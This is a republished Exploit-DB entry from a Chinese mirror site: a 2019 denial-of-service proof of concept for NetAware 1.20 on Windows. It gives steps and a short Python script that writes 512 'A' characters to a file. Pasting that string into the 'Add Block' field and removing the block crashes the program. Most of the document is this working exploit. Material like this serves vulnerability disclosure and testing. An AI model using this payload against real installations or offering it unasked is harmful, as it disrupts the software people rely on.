NetAware 1.20 – ‘Add Block’ Denial of Service (PoC) - 体验盒子

作者： Alejandra Sánchez

日期： 2019-05-23

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/46908/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

# -*- coding: utf-8 -*-

# Exploit Title: NetAware 1.20 - 'Add Block' Denial of Service (PoC)

# Date: 22/05/2019

# Author: Alejandra Sánchez

# Vendor Homepage: https://www.infiltration-systems.com

# Software: http://www.infiltration-systems.com/Files/netaware.zip

# Version: 1.20

# Tested on: Windows 7

# Proof of Concept:

# 1.- Run the python script 'NetAware.py', it will create a new file 'NetAware.txt'

# 2.- Copy the text from the generated NetAware.txt file to clipboard

# 3.- Open NetAware

# 4.- Go to 'Settings' > 'User Blocking'

# 5.- Click 'Add Block', paste clipboard in the field 'Add a website or keyword to be filtered...' and click 'OK'

# 6.- Select the block created and click 'Remove', you will see a crash

buffer = "\x41" * 512

f = open ("NetAware.txt", "w")

f.write(buffer)

f.close()